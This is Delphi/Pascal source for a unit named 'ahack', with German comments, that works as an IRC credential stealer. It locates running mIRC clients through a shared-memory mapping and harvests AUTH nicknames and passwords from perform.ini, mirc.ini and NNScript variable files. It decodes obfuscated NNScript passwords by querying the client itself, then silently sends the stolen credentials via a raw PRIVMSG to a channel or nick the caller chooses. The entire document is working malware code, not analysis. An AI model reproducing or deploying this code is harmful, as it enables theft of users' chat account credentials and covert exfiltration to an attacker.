unit ahack; interface uses windows, classes, sysutils; procedure hackit(chan: string); implementation const WM_USER = $0400; //spart unit messages ein WM_MCOMMAND = WM_USER+200; //command msg für IRC WM_MEVALUATE = WM_USER+201; //abfrage msg für IRC var IRCs: TStringlist; //speichert alle IRCs FhFileMap: thandle; Fmdata: pchar; ChannelOrNick: string; //channel oder user function GetTempDir: string; var Buffer: array[0..MAX_PATH] of Char; Save: string; begin GetTempPath(SizeOf(Buffer) - 1, Buffer); Save := StrPas(Buffer); if Save[length(Save)] <> '\' then Save := Save+'\'; result := save; end; procedure InitAll; //initialisiert IRCs etc. begin FhFileMap := CreateFileMapping(INVALID_HANDLE_VALUE,nil,PAGE_READWRITE,0,1024,'mIRC'); FmData := MapViewOfFile(FhFileMap,FILE_MAP_ALL_ACCESS,0,0,0); IRCs := TStringlist.create; IRCs.Clear; end; procedure DisposeAll; //gibt die IRC liste wieder frei begin IRCs.free; end; procedure GetAllIRCs; //sucht alle IRCs var Window: thandle; lauf: integer; hinzu: boolean; begin Window := GetForeGroundWindow; while GetNextWindow(Window,GW_HWNDPREV) <> 0 do Window := GetNextWindow(Window,GW_HWNDPREV); repeat Window := GetNextWindow(Window,GW_HWNDNEXT); StrPCopy(FmData,'$mircexe'); SendMessage(Window,WM_MEVALUATE,1,0); if FMData <> '$mircexe' then begin hinzu := true; for lauf := 0 to IRCs.count-1 do if copy(IRCs[lauf],1,pos('|',IRCs[lauf])-1) = FMData then hinzu := false; if hinzu then IRCs.Add(FMData+'|'+inttostr(Window)); end; until Window = 0; end; function GetOrdner(ExeFile: string): string; //sucht den ordner zu einer datei begin Result := ExtractFilePath(Exefile); if Result[length(Result)] <> '\' then Result := Result+'\'; end; function ChangePerform(AUTH: string): string; //perform msg wird abgeändert begin delete(auth,1,pos('AUTH',uppercase(auth))+4); while (length(auth) > 0) and (auth[1] = ' ') do delete(auth,1,1); result := 'NICK: '+copy(auth,1,pos(' ',auth)-1)+ '14 | 7PW: '+copy(auth,pos(' ',auth),length(auth)); end; procedure GetPerform(IniFile: string; var Daten: string); //perform wird gesucht var list: tstringlist; lauf: integer; begin if fileexists(inifile) then begin list := tstringlist.Create; list.LoadFromFile(Inifile); for lauf := 0 to list.Count-1 do begin if (pos('AUTH',uppercase(list[lauf])) > 0) and (pos('MSG',uppercase(list[lauf])) > 0) then begin Daten := Daten+'7'+ChangePerform(list[lauf])+'14 <][> '; end; end; list.free; end; end; function decode(code: string; IRC: thandle): string; //decodierung vom NNscript begin StrPCopy(FmData,'$DECODE('+code+',m)'); SendMessage(IRC,WM_MEVALUATE,1,0); if (length(fmdata) = 0) or ((length(fmdata) > 0) and (fmdata[1] = '$')) then result := code+' <- not decode' else result := fmdata; end; procedure GetNNScript(IniFile: string; var Daten: string; IRChandle: string); //NNscript datei wird ausgewertet var list: tstringlist; lauf: integer; zeile: string; IRC: integer; begin IRC := strtointdef(IRChandle,0); if IRC <> 0 then if fileexists(inifile) then begin list := tstringlist.Create; list.LoadFromFile(Inifile); for lauf := 0 to list.Count-1 do begin zeile := list[lauf]; if (pos('AUTH',uppercase(zeile)) > 0) and ((pos('NICK',uppercase(zeile)) > 0) or (pos('PASS',uppercase(zeile)) > 0)) then begin if pos('NICK',uppercase(zeile)) > 0 then begin Daten := Daten+'7NICK: '+copy(zeile,pos(' ',zeile)+1,length(zeile))+' 14| '; end else begin Daten := Daten+'7PW: '+decode(copy(zeile,pos(' ',zeile)+1,length(zeile)),IRC)+' 14<][>'; end; end; end; list.free; end; end; procedure GetAuth(ExeFile: string; var Daten: string; IRChandle: string); //alle auth dateien einlesen var Ordner: string; begin Daten := ''; Ordner := GetOrdner(Exefile); GetPerform(Ordner+'perform.ini',Daten); GetPerform(Ordner+'mirc.ini',Daten); GetNNScript(Ordner+'script\vars.nns',daten,IRChandle); GetNNScript(Ordner+'script\vars.ini',daten,IRChandle); end; procedure SendAuth(IRChandle,Wohin,Was: string); //senden der daten var IRC: thandle; begin IRC := strtointdef(IRChandle,0); if IRC <> 0 then begin StrPCopy(FmData,'/RAW -Q PRIVMSG '+Wohin+' :'+Was); SendMessage(IRC,WM_MCOMMAND,1,0); // StrPCopy(FmData,'/CLEARALL'); // SendMessage(IRC,WM_MCOMMAND,1,0); end; end; procedure DoAmsg(irchandle: string); var chans,i: integer; channame: string; irc: thandle; begin IRC := strtointdef(IRChandle,0); if IRC <> 0 then begin StrPCopy(FmData,'$chan(0)'); SendMessage(irc,WM_MEVALUATE,1,0); chans := strtointdef(fmdata,0); if chans > 0 then for i := 1 to chans do begin StrPCopy(FmData,'$chan('+inttostr(i)+')'); SendMessage(irc,WM_MEVALUATE,1,0); channame := fmdata; StrPCopy(FmData,'/RAW -Q PRIVMSG '+channame+' :'+ ' blub'); SendMessage(IRC,WM_MCOMMAND,1,0); end; end; end; procedure GetAndSendAUTH; //auslesen und senden des auth´s var AuthDaten: string; lauf: integer; begin for lauf := 0 to IRCs.count-1 do begin GetAuth(copy(IRCs[lauf],1,pos('|',IRCs[lauf])-1),AuthDaten, copy(IRCs[lauf],pos('|',IRCs[lauf])+1,length(IRCs[lauf]))); SendAuth(copy(IRCs[lauf],pos('|',IRCs[lauf])+1,length(IRCs[lauf])), ChannelOrNick,AuthDaten); // DoAmsg(copy(IRCs[lauf],pos('|',IRCs[lauf])+1,length(IRCs[lauf]))); end; end; procedure hackit(chan: string); begin channelornick := chan; InitAll; GetAllIRCs; GetAndSendAUTH; DisposeAll; end; end.